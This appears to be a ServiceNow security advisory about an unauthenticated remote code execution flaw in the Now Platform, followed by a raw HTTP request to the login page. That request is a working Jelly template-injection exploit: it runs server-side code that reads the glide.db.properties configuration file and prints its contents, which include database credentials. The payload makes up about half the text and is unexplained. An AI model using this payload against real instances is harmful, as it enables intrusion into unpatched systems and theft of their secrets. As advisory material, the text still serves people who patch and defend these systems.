ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform.The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
GET /login.do?jvar_page_title=<style><j:jelly+xmlns:j="jelly:core"+xmlns:g='glide'><g:evaluate>z=new+Packages.java.io.File("").getAbsolutePath();z=z.substring(0,z.lastIndexOf("/"));u=new+SecurelyAccess(z.concat("/co..nf/glide.db.properties")).getBufferedReader();s="";while((q=u.readLine())!==null)s=s.concat(q,"\n");gs.addErrorMessage(s);</g:evaluate></j:jelly></style> HTTP/1.1